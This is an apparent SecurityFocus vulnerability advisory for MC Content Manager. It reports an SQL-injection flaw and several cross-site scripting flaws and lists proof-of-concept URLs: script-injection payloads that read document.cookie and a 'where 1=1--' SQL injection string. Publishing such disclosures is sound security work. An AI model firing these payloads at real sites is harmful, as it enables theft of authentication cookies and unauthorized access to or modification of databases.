source: http://www.securityfocus.com/bid/41949/info

MC Content Manager is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

Cross site scripting:

1) http://www.example.com/article.php?root=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

2) http://www.example.com/static.php?page=1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

3) http://www.example.com/cms/%3Cbody%20onload=alert(document.cookie)%3E/

SQL Injection:

1) http://www.example.com/cms/ua%20where%201=1--%20/